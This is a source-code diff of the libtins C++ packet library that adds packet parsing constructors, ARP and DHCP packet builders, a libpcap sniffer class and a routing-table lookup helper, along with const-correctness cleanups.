memcpy(&_arp, buffer, sizeof(arphdr));
|
||||
total_sz -= sizeof(arphdr);
|
||||
if(total_sz)
|
||||
inner_pdu(new RawPDU(buffer + sizeof(arphdr), total_sz));
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
|
||||
const string& target,
|
||||
const string& sender,
|
||||
const uint8_t* hw_tgt,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
uint32_t target_ip = Tins::Utils::resolve_ip(target);
|
||||
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
|
||||
return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd);
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
|
||||
uint32_t target,
|
||||
uint32_t sender,
|
||||
const uint8_t* hw_tgt,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
/* Create ARP packet and set its attributes */
|
||||
ARP* arp = new ARP();
|
||||
arp->target_ip_addr(target);
|
||||
arp->sender_ip_addr(sender);
|
||||
arp->target_hw_addr(hw_tgt);
|
||||
arp->sender_hw_addr(hw_snd);
|
||||
arp->opcode(REPLY);
|
||||
|
||||
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
|
||||
EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp);
|
||||
return eth;
|
||||
}
|
||||
|
||||
Tins::ARP::ARP() : PDU(0x0608) {
|
||||
std::memset(&_arp, 0, sizeof(arphdr));
|
||||
this->hw_addr_format(1);
|
||||
this->prot_addr_format(0x0800);
|
||||
this->hw_addr_length(6);
|
||||
this->prot_addr_length(4);
|
||||
}
|
||||
|
||||
Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {
|
||||
Tins::ARP::ARP(const arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {
|
||||
memcpy(&_arp, arp_ptr, sizeof(arphdr));
|
||||
}
|
||||
|
||||
@@ -182,10 +140,10 @@ bool Tins::ARP::matches_response(uint8_t *ptr, uint32_t total_sz) {
|
||||
return arp_ptr->ar_sip == _arp.ar_tip && arp_ptr->ar_tip == _arp.ar_sip;
|
||||
}
|
||||
|
||||
Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
|
||||
Tins::PDU *Tins::ARP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
|
||||
if(total_sz < sizeof(arphdr))
|
||||
return 0;
|
||||
arphdr *arp_ptr = (arphdr*)ptr;
|
||||
const arphdr *arp_ptr = (arphdr*)ptr;
|
||||
PDU *child = 0, *cloned;
|
||||
if(total_sz > sizeof(arphdr)) {
|
||||
if((child = PDU::clone_inner_pdu(ptr + sizeof(arphdr), total_sz - sizeof(arphdr))) == 0)
|
||||
@@ -195,3 +153,61 @@ Tins::PDU *Tins::ARP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
|
||||
cloned->inner_pdu(child);
|
||||
return cloned;
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_request(const string& iface,
|
||||
const string& target,
|
||||
const string& sender,
|
||||
const uint8_t* hw_snd) {
|
||||
uint32_t target_ip = Tins::Utils::resolve_ip(target);
|
||||
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
|
||||
return make_arp_request(iface, target_ip, sender_ip, hw_snd);
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_request(const std::string& iface,
|
||||
uint32_t target,
|
||||
uint32_t sender,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
/* Create ARP packet and set its attributes */
|
||||
ARP* arp = new ARP();
|
||||
arp->target_ip_addr(target);
|
||||
arp->sender_ip_addr(sender);
|
||||
if (hw_snd) {
|
||||
arp->sender_hw_addr(hw_snd);
|
||||
}
|
||||
arp->opcode(REQUEST);
|
||||
|
||||
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
|
||||
EthernetII* eth = new EthernetII(iface, Tins::EthernetII::BROADCAST, hw_snd, arp);
|
||||
return eth;
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
|
||||
const string& target,
|
||||
const string& sender,
|
||||
const uint8_t* hw_tgt,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
uint32_t target_ip = Tins::Utils::resolve_ip(target);
|
||||
uint32_t sender_ip = Tins::Utils::resolve_ip(sender);
|
||||
return make_arp_reply(iface, target_ip, sender_ip, hw_tgt, hw_snd);
|
||||
}
|
||||
|
||||
Tins::PDU* Tins::ARP::make_arp_reply(const string& iface,
|
||||
uint32_t target,
|
||||
uint32_t sender,
|
||||
const uint8_t* hw_tgt,
|
||||
const uint8_t* hw_snd) {
|
||||
|
||||
/* Create ARP packet and set its attributes */
|
||||
ARP* arp = new ARP();
|
||||
arp->target_ip_addr(target);
|
||||
arp->sender_ip_addr(sender);
|
||||
arp->target_hw_addr(hw_tgt);
|
||||
arp->sender_hw_addr(hw_snd);
|
||||
arp->opcode(REPLY);
|
||||
|
||||
/* Create the EthernetII PDU with the ARP PDU as its inner PDU */
|
||||
EthernetII* eth = new EthernetII(iface, hw_tgt, hw_snd, arp);
|
||||
return eth;
|
||||
}
|
||||
|
||||
59
src/dhcp.cpp
59
src/dhcp.cpp
@@ -21,12 +21,13 @@
|
||||
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
#include <iostream> //borrame
|
||||
#include "utils.h"
|
||||
#include "dhcp.h"
|
||||
|
||||
const uint32_t Tins::DHCP::MAX_DHCP_SIZE = 312;
|
||||
|
||||
using namespace std;
|
||||
|
||||
/* Magic cookie: uint32_t.
|
||||
* end of options: 1 byte. */
|
||||
Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) {
|
||||
@@ -35,12 +36,19 @@ Tins::DHCP::DHCP() : _size(sizeof(uint32_t) + 1) {
|
||||
hlen(6);
|
||||
}
|
||||
|
||||
Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, uint8_t *val) : option(opt), length(len) {
|
||||
Tins::DHCP::~DHCP() {
|
||||
while(_options.size()) {
|
||||
delete[] _options.front().value;
|
||||
_options.pop_front();
|
||||
}
|
||||
}
|
||||
|
||||
Tins::DHCP::DHCPOption::DHCPOption(uint8_t opt, uint8_t len, const uint8_t *val) : option(opt), length(len) {
|
||||
value = new uint8_t[len];
|
||||
std::memcpy(value, val, len);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) {
|
||||
bool Tins::DHCP::add_option(Options opt, uint8_t len, const uint8_t *val) {
|
||||
uint32_t opt_size = len + (sizeof(uint8_t) << 1);
|
||||
if(_size + opt_size > MAX_DHCP_SIZE)
|
||||
return false;
|
||||
@@ -50,16 +58,53 @@ bool Tins::DHCP::add_option(Options opt, uint8_t len, uint8_t *val) {
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_type_option(Flags type) {
|
||||
return add_option(DHCP_MESSAGE_TYPE, 1, (uint8_t*)&type);
|
||||
return add_option(DHCP_MESSAGE_TYPE, 1, (const uint8_t*)&type);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_server_identifier(uint32_t ip) {
|
||||
return add_option(DHCP_SERVER_IDENTIFIER, 4, (uint8_t*)&ip);
|
||||
return add_option(DHCP_SERVER_IDENTIFIER, 4, (const uint8_t*)&ip);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_lease_time(uint32_t time) {
|
||||
time = Utils::net_to_host_l(time);
|
||||
return add_option(DHCP_LEASE_TIME, 4, (uint8_t*)&time);
|
||||
return add_option(DHCP_LEASE_TIME, 4, (const uint8_t*)&time);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_subnet_mask(uint32_t mask) {
|
||||
return add_option(SUBNET_MASK, 4, (const uint8_t*)&mask);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_routers_option(const list<uint32_t> &routers) {
|
||||
uint32_t size;
|
||||
uint8_t *buffer = serialize_list(routers, size);
|
||||
bool ret = add_option(ROUTERS, size, buffer);
|
||||
delete[] buffer;
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_dns_options(const list<uint32_t> &dns) {
|
||||
uint32_t size;
|
||||
uint8_t *buffer = serialize_list(dns, size);
|
||||
bool ret = add_option(DOMAIN_NAME_SERVERS, size, buffer);
|
||||
delete[] buffer;
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_broadcast_option(uint32_t addr) {
|
||||
return add_option(BROADCAST_ADDRESS, 4, (uint8_t*)&addr);
|
||||
}
|
||||
|
||||
bool Tins::DHCP::add_domain_name(const string &name) {
|
||||
return add_option(DOMAIN_NAME, name.size(), (const uint8_t*)name.c_str());
|
||||
}
|
||||
|
||||
uint8_t *Tins::DHCP::serialize_list(const list<uint32_t> &int_list, uint32_t &sz) {
|
||||
uint8_t *buffer = new uint8_t[int_list.size() * sizeof(uint32_t)];
|
||||
uint32_t *ptr = (uint32_t*)buffer;
|
||||
for(list<uint32_t>::const_iterator it = int_list.begin(); it != int_list.end(); ++it)
|
||||
*(ptr++) = *it;
|
||||
sz = sizeof(uint32_t) * int_list.size();
|
||||
return buffer;
|
||||
}
|
||||
|
||||
uint32_t Tins::DHCP::header_size() const {
|
||||
@@ -69,6 +114,7 @@ uint32_t Tins::DHCP::header_size() const {
|
||||
void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PDU *parent) {
|
||||
assert(total_sz >= header_size());
|
||||
uint8_t *result = new uint8_t[_size], *ptr = result + sizeof(uint32_t);
|
||||
// Magic cookie
|
||||
*((uint32_t*)result) = Utils::net_to_host_l(0x63825363);
|
||||
for(std::list<DHCPOption>::const_iterator it = _options.begin(); it != _options.end(); ++it) {
|
||||
*(ptr++) = it->option;
|
||||
@@ -76,6 +122,7 @@ void Tins::DHCP::write_serialization(uint8_t *buffer, uint32_t total_sz, const P
|
||||
std::memcpy(ptr, it->value, it->length);
|
||||
ptr += it->length;
|
||||
}
|
||||
// End of options
|
||||
result[_size-1] = END;
|
||||
vend(result, _size);
|
||||
BootP::write_serialization(buffer, total_sz, parent);
|
||||
|
||||
@@ -21,7 +21,7 @@
|
||||
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
|
||||
#include <stdexcept>
|
||||
#ifndef WIN32
|
||||
#include <net/ethernet.h>
|
||||
#include <netpacket/packet.h>
|
||||
@@ -29,6 +29,8 @@
|
||||
#endif
|
||||
#include "ethernetII.h"
|
||||
#include "rawpdu.h"
|
||||
#include "ip.h"
|
||||
#include "arp.h"
|
||||
#include "utils.h"
|
||||
|
||||
const uint8_t* Tins::EthernetII::BROADCAST = (const uint8_t*)"\xff\xff\xff\xff\xff\xff";
|
||||
@@ -54,10 +56,31 @@ Tins::EthernetII::EthernetII(uint32_t iface_index, const uint8_t* dst_hw_addr, c
|
||||
this->_eth.payload_type = 0;
|
||||
}
|
||||
|
||||
Tins::EthernetII::EthernetII(const uint8_t *buffer, uint32_t total_sz) : PDU(ETHERTYPE_IP) {
|
||||
if(total_sz < sizeof(ethhdr))
|
||||
throw std::runtime_error("Not enought size for an ethernetII header in the buffer.");
|
||||
memcpy(&_eth, buffer, sizeof(ethhdr));
|
||||
PDU *next = 0;
|
||||
switch(payload_type()) {
|
||||
case ETHERTYPE_IP:
|
||||
next = new Tins::IP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr));
|
||||
break;
|
||||
case ETHERTYPE_ARP:
|
||||
next = new Tins::ARP(buffer + sizeof(ethhdr), total_sz - sizeof(ethhdr));
|
||||
break;
|
||||
// Other protos plz
|
||||
}
|
||||
inner_pdu(next);
|
||||
}
|
||||
|
||||
Tins::EthernetII::EthernetII(ethhdr *eth_ptr) : PDU(ETHERTYPE_IP) {
|
||||
memcpy(&_eth, eth_ptr, sizeof(ethhdr));
|
||||
}
|
||||
|
||||
uint16_t Tins::EthernetII::payload_type() const {
|
||||
return Utils::net_to_host_s(_eth.payload_type);
|
||||
}
|
||||
|
||||
void Tins::EthernetII::dst_hw_addr(const uint8_t* new_dst_mac) {
|
||||
memcpy(this->_eth.dst_mac, new_dst_mac, 6);
|
||||
}
|
||||
|
||||
21
src/icmp.cpp
21
src/icmp.cpp
@@ -19,12 +19,12 @@
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
|
||||
#include <stdexcept>
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
#ifndef WIN32
|
||||
#include <netinet/in.h>
|
||||
#endif
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
#include "icmp.h"
|
||||
#include "rawpdu.h"
|
||||
#include "utils.h"
|
||||
@@ -48,7 +48,16 @@ Tins::ICMP::ICMP(Flags flag) : PDU(IPPROTO_ICMP) {
|
||||
};
|
||||
}
|
||||
|
||||
Tins::ICMP::ICMP(icmphdr *ptr) : PDU(IPPROTO_ICMP) {
|
||||
Tins::ICMP::ICMP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_ICMP) {
|
||||
if(total_sz < sizeof(icmphdr))
|
||||
throw std::runtime_error("Not enought size for an ICMP header in the buffer.");
|
||||
std::memcpy(&_icmp, buffer, sizeof(icmphdr));
|
||||
total_sz -= sizeof(icmphdr);
|
||||
if(total_sz)
|
||||
inner_pdu(new RawPDU(buffer + sizeof(icmphdr), total_sz));
|
||||
}
|
||||
|
||||
Tins::ICMP::ICMP(const icmphdr *ptr) : PDU(IPPROTO_ICMP) {
|
||||
std::memcpy(&_icmp, ptr, sizeof(icmphdr));
|
||||
}
|
||||
|
||||
@@ -177,10 +186,10 @@ bool Tins::ICMP::matches_response(uint8_t *ptr, uint32_t total_sz) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Tins::PDU *Tins::ICMP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
|
||||
Tins::PDU *Tins::ICMP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
|
||||
if(total_sz < sizeof(icmphdr))
|
||||
return 0;
|
||||
icmphdr *icmp_ptr = (icmphdr*)ptr;
|
||||
const icmphdr *icmp_ptr = (icmphdr*)ptr;
|
||||
PDU *child = 0, *cloned;
|
||||
if(total_sz > sizeof(icmphdr)) {
|
||||
if((child = PDU::clone_inner_pdu(ptr + sizeof(icmphdr), total_sz - sizeof(icmphdr))) == 0)
|
||||
|
||||
31
src/ip.cpp
31
src/ip.cpp
@@ -19,12 +19,16 @@
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdexcept>
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
#ifndef WIN32
|
||||
#include <netinet/in.h>
|
||||
#endif
|
||||
#include "ip.h"
|
||||
#include "tcp.h"
|
||||
#include "udp.h"
|
||||
#include "icmp.h"
|
||||
#include "rawpdu.h"
|
||||
#include "utils.h"
|
||||
|
||||
@@ -42,6 +46,29 @@ Tins::IP::IP(const string &ip_dst, const string &ip_src, PDU *child) : PDU(IPPRO
|
||||
|
||||
}
|
||||
|
||||
Tins::IP::IP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_IP) {
|
||||
if(total_sz < sizeof(iphdr))
|
||||
throw std::runtime_error("Not enought size for an IP header in the buffer.");
|
||||
std::memcpy(&_ip, buffer, sizeof(iphdr));
|
||||
/* Options... */
|
||||
buffer += head_len() * sizeof(uint32_t);
|
||||
total_sz -= head_len() * sizeof(uint32_t);
|
||||
switch(_ip.protocol) {
|
||||
case IPPROTO_TCP:
|
||||
inner_pdu(new Tins::TCP(buffer, total_sz));
|
||||
break;
|
||||
case IPPROTO_UDP:
|
||||
inner_pdu(new Tins::UDP(buffer, total_sz));
|
||||
break;
|
||||
case IPPROTO_ICMP:
|
||||
inner_pdu(new Tins::ICMP(buffer, total_sz));
|
||||
break;
|
||||
default:
|
||||
inner_pdu(new Tins::RawPDU(buffer, total_sz));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Tins::IP::IP(const iphdr *ptr) : PDU(IPPROTO_IP) {
|
||||
std::memcpy(&_ip, ptr, sizeof(iphdr));
|
||||
/* Options... */
|
||||
@@ -241,10 +268,10 @@ bool Tins::IP::matches_response(uint8_t *ptr, uint32_t total_sz) {
|
||||
return false;
|
||||
}
|
||||
|
||||
Tins::PDU *Tins::IP::clone_packet(uint8_t *ptr, uint32_t total_sz) {
|
||||
Tins::PDU *Tins::IP::clone_packet(const uint8_t *ptr, uint32_t total_sz) {
|
||||
if(total_sz < sizeof(iphdr))
|
||||
return 0;
|
||||
iphdr *ip_ptr = (iphdr*)ptr;
|
||||
const iphdr *ip_ptr = (iphdr*)ptr;
|
||||
uint32_t sz = ip_ptr->ihl * sizeof(uint32_t);
|
||||
if(total_sz < sz)
|
||||
return 0;
|
||||
|
||||
@@ -20,7 +20,6 @@
|
||||
*/
|
||||
|
||||
#include <cassert>
|
||||
#include <iostream> //borrame
|
||||
#include "utils.h"
|
||||
#include "pdu.h"
|
||||
#include "rawpdu.h"
|
||||
@@ -69,7 +68,7 @@ void Tins::PDU::serialize(uint8_t *buffer, uint32_t total_sz, const PDU *parent)
|
||||
write_serialization(buffer, total_sz, parent);
|
||||
}
|
||||
|
||||
Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) {
|
||||
Tins::PDU *Tins::PDU::clone_inner_pdu(const uint8_t *ptr, uint32_t total_sz) {
|
||||
PDU *child = 0;
|
||||
if(inner_pdu()) {
|
||||
child = inner_pdu()->clone_packet(ptr, total_sz);
|
||||
@@ -77,7 +76,7 @@ Tins::PDU *Tins::PDU::clone_inner_pdu(uint8_t *ptr, uint32_t total_sz) {
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
child = new RawPDU(ptr, total_sz, true);
|
||||
child = new RawPDU(ptr, total_sz);
|
||||
return child;
|
||||
}
|
||||
|
||||
|
||||
@@ -24,11 +24,13 @@
|
||||
#include "rawpdu.h"
|
||||
|
||||
|
||||
Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size, bool copy) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(copy) {
|
||||
if(copy) {
|
||||
_payload = new uint8_t[size];
|
||||
std::memcpy(_payload, pload, size);
|
||||
}
|
||||
Tins::RawPDU::RawPDU(const uint8_t *pload, uint32_t size) : PDU(255), _payload_size(size), _owns_payload(true) {
|
||||
_payload = new uint8_t[size];
|
||||
std::memcpy(_payload, pload, size);
|
||||
}
|
||||
|
||||
Tins::RawPDU::RawPDU(uint8_t *pload, uint32_t size) : PDU(255), _payload(pload), _payload_size(size), _owns_payload(false) {
|
||||
|
||||
}
|
||||
|
||||
Tins::RawPDU::~RawPDU() {
|
||||
|
||||
106
src/sniffer.cpp
Normal file
106
src/sniffer.cpp
Normal file
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
* libtins is a net packet wrapper library for crafting and
|
||||
* interpreting sniffed packets.
|
||||
*
|
||||
* Copyright (C) 2011 Nasel
|
||||
*
|
||||
* This library is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public
|
||||
* License as published by the Free Software Foundation; either
|
||||
* version 2.1 of the License, or (at your option) any later version.
|
||||
*
|
||||
* This library is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with this library; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
|
||||
#include <stdexcept>
|
||||
#include "sniffer.h"
|
||||
#include "ethernetII.h"
|
||||
|
||||
|
||||
using namespace std;
|
||||
|
||||
/** \cond */
|
||||
|
||||
struct LoopData {
|
||||
pcap_t *handle;
|
||||
Tins::AbstractSnifferHandler *c_handler;
|
||||
|
||||
LoopData(pcap_t *_handle, Tins::AbstractSnifferHandler *_handler) : handle(_handle), c_handler(_handler) { }
|
||||
};
|
||||
|
||||
/** \endcond */
|
||||
|
||||
|
||||
Tins::Sniffer::Sniffer(const string &device, unsigned max_packet_size) {
|
||||
char error[PCAP_ERRBUF_SIZE];
|
||||
if (pcap_lookupnet(device.c_str(), &ip, &mask, error) == -1)
|
||||
throw runtime_error(error);
|
||||
handle = pcap_open_live(device.c_str(), max_packet_size, 0, 0, error);
|
||||
if(!handle)
|
||||
throw runtime_error(error);
|
||||
}
|
||||
|
||||
Tins::Sniffer::~Sniffer() {
|
||||
if(handle)
|
||||
pcap_close(handle);
|
||||
}
|
||||
|
||||
bool Tins::Sniffer::compile_set_filter(const string &filter, bpf_program &prog) {
|
||||
return (pcap_compile(handle, &prog, filter.c_str(), 0, ip) != -1 && pcap_setfilter(handle, &prog) != -1);
|
||||
}
|
||||
|
||||
Tins::PDU *Tins::Sniffer::next_pdu(const string &filter) {
|
||||
bpf_program prog;
|
||||
if(!compile_set_filter(filter, prog))
|
||||
return 0;
|
||||
pcap_pkthdr header;
|
||||
PDU *ret = 0;
|
||||
while(!ret) {
|
||||
const u_char *content = pcap_next(handle, &header);
|
||||
try {
|
||||
ret = new EthernetII((const uint8_t*)content, header.caplen);
|
||||
}
|
||||
catch(...) {
|
||||
ret = 0;
|
||||
}
|
||||
}
|
||||
pcap_freecode(&prog);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void Tins::Sniffer::stop_sniff() {
|
||||
pcap_breakloop(handle);
|
||||
}
|
||||
|
||||
void Tins::Sniffer::sniff_loop(const std::string &filter, AbstractSnifferHandler *cback_handler, uint32_t max_packets) {
|
||||
bpf_program prog;
|
||||
if(compile_set_filter(filter, prog)) {
|
||||
LoopData data(handle, cback_handler);
|
||||
pcap_loop(handle, max_packets, Sniffer::callback_handler, (u_char*)&data);
|
||||
pcap_freecode(&prog);
|
||||
}
|
||||
}
|
||||
|
||||
// Static
|
||||
void Tins::Sniffer::callback_handler(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
|
||||
try {
|
||||
PDU *pdu = new EthernetII((const uint8_t*)packet, header->caplen);
|
||||
LoopData *data = reinterpret_cast<LoopData*>(args);
|
||||
bool ret_val = data->c_handler->handle(pdu);
|
||||
delete pdu;
|
||||
if(!ret_val)
|
||||
pcap_breakloop(data->handle);
|
||||
}
|
||||
catch(...) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
45
src/tcp.cpp
45
src/tcp.cpp
@@ -19,6 +19,7 @@
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdexcept>
|
||||
#include <cstring>
|
||||
#include <cassert>
|
||||
#ifndef WIN32
|
||||
@@ -41,6 +42,18 @@ Tins::TCP::TCP(uint16_t dport, uint16_t sport) : PDU(IPPROTO_TCP), _options_size
|
||||
this->check(0);
|
||||
}
|
||||
|
||||
Tins::TCP::TCP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_TCP) {
|
||||
if(total_sz < sizeof(tcphdr))
|
||||
throw std::runtime_error("Not enought size for an TCP header in the buffer.");
|
||||
std::memcpy(&_tcp, buffer, sizeof(tcphdr));
|
||||
|
||||
/* Options... */
|
||||
|
||||
total_sz -= sizeof(tcphdr);
|
||||
if(total_sz)
|
||||
inner_pdu(new RawPDU(buffer + sizeof(tcphdr), total_sz));
|
||||
}
|
||||
|
||||
Tins::TCP::~TCP() {
|
||||
for(unsigned i(0); i < _options.size(); ++i)
|
||||
delete[] _options[i].data;
|
||||
@@ -92,6 +105,38 @@ void Tins::TCP::set_timestamp(uint32_t value, uint32_t reply) {
|
||||
add_option(TSOPT, 8, (uint8_t*)&buffer);
|
||||
}
|
||||
|
||||
uint8_t Tins::TCP::get_flag(Flags tcp_flag) {
|
||||
switch(tcp_flag) {
|
||||
case FIN:
|
||||
return _tcp.fin;
|
||||
break;
|
||||
case SYN:
|
||||
return _tcp.syn;
|
||||
break;
|
||||
case RST:
|
||||
return _tcp.rst;
|
||||
break;
|
||||
case PSH:
|
||||
return _tcp.psh;
|
||||
break;
|
||||
case ACK:
|
||||
return _tcp.ack;
|
||||
break;
|
||||
case URG:
|
||||
return _tcp.urg;
|
||||
break;
|
||||
case ECE:
|
||||
return _tcp.ece;
|
||||
break;
|
||||
case CWR:
|
||||
return _tcp.cwr;
|
||||
break;
|
||||
default:
|
||||
return 0;
|
||||
break;
|
||||
};
|
||||
}
|
||||
|
||||
void Tins::TCP::set_flag(Flags tcp_flag, uint8_t value) {
|
||||
switch(tcp_flag) {
|
||||
case FIN:
|
||||
|
||||
20
src/udp.cpp
20
src/udp.cpp
@@ -19,11 +19,12 @@
|
||||
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#include <stdexcept>
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
#ifndef WIN32
|
||||
#include <netinet/in.h>
|
||||
#endif
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
#include "utils.h"
|
||||
#include "udp.h"
|
||||
#include "ip.h"
|
||||
@@ -36,6 +37,15 @@ Tins::UDP::UDP(uint16_t dport, uint16_t sport, PDU *child) : PDU(IPPROTO_UDP, ch
|
||||
_udp.len = 0;
|
||||
}
|
||||
|
||||
Tins::UDP::UDP(const uint8_t *buffer, uint32_t total_sz) : PDU(IPPROTO_UDP) {
|
||||
if(total_sz < sizeof(udphdr))
|
||||
throw std::runtime_error("Not enought size for an UDP header in the buffer.");
|
||||
std::memcpy(&_udp, buffer, sizeof(udphdr));
|
||||
total_sz -= sizeof(udphdr);
|
||||
if(total_sz)
|
||||
inner_pdu(new RawPDU(buffer + sizeof(udphdr), total_sz));
|
||||
}
|
||||
|
||||
void Tins::UDP::payload(uint8_t *new_payload, uint32_t new_payload_size) {
|
||||
inner_pdu(new RawPDU(new_payload, new_payload_size));
|
||||
}
|
||||
@@ -61,14 +71,14 @@ void Tins::UDP::write_serialization(uint8_t *buffer, uint32_t total_sz, const PD
|
||||
const Tins::IP *ip_packet = dynamic_cast<const Tins::IP*>(parent);
|
||||
if(inner_pdu())
|
||||
length(sizeof(udphdr) + inner_pdu()->size());
|
||||
std::memcpy(buffer, &_udp, sizeof(udphdr));
|
||||
if(!_udp.check && ip_packet) {
|
||||
uint32_t checksum = PDU::pseudoheader_checksum(ip_packet->source_address(), ip_packet->dest_address(), size(), IPPROTO_UDP) +
|
||||
PDU::do_checksum(buffer + sizeof(udphdr), buffer + total_sz) + PDU::do_checksum((uint8_t*)&_udp, ((uint8_t*)&_udp) + sizeof(udphdr));
|
||||
PDU::do_checksum(buffer, buffer + total_sz);
|
||||
while (checksum >> 16)
|
||||
checksum = (checksum & 0xffff)+(checksum >> 16);
|
||||
_udp.check = Utils::net_to_host_s(~checksum);
|
||||
((udphdr*)buffer)->check = Utils::net_to_host_s(~checksum);
|
||||
}
|
||||
std::memcpy(buffer, &_udp, sizeof(udphdr));
|
||||
_udp.check = 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -21,6 +21,7 @@
|
||||
|
||||
#include <stdexcept>
|
||||
#include <sstream>
|
||||
#include <fstream>
|
||||
#include <stdexcept>
|
||||
#include <cassert>
|
||||
#include <cstring>
|
||||
@@ -76,6 +77,29 @@ struct HWAddressCollector {
|
||||
}
|
||||
};
|
||||
|
||||
bool from_hex(const string &str, uint32_t &result) {
|
||||
unsigned i(0);
|
||||
result = 0;
|
||||
while(i < str.size()) {
|
||||
uint8_t tmp;
|
||||
if(str[i] >= 'A' && str[i] <= 'F')
|
||||
tmp = (str[i] - 'A' + 10);
|
||||
else if(str[i] >= '0' && str[i] <= '9')
|
||||
tmp = (str[i] - '0');
|
||||
else
|
||||
return false;
|
||||
result = (result << 4) | tmp;
|
||||
i++;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void skip_line(istream &input) {
|
||||
int c = 0;
|
||||
while(c != '\n' && input)
|
||||
c = input.get();
|
||||
}
|
||||
|
||||
/** \endcond */
|
||||
|
||||
uint32_t Tins::Utils::ip_to_int(const string &ip) {
|
||||
@@ -179,6 +203,26 @@ bool Tins::Utils::resolve_hwaddr(const string &iface, uint32_t ip, uint8_t *buff
|
||||
return false;
|
||||
}
|
||||
|
||||
string Tins::Utils::interface_from_ip(uint32_t ip) {
|
||||
ifstream input("/proc/net/route");
|
||||
bool match(false);
|
||||
string iface;
|
||||
string destination, mask;
|
||||
uint32_t destination_int, mask_int;
|
||||
skip_line(input);
|
||||
while(!match) {
|
||||
input >> iface >> destination;
|
||||
for(unsigned i(0); i < 6; ++i)
|
||||
input >> mask;
|
||||
from_hex(destination, destination_int);
|
||||
from_hex(mask, mask_int);
|
||||
if((ip & mask_int) == destination_int)
|
||||
return iface;
|
||||
skip_line(input);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
set<string> Tins::Utils::network_interfaces() {
|
||||
InterfaceCollector collector;
|
||||
generic_iface_loop(collector);
|
||||
|
||||
Reference in New Issue
Block a user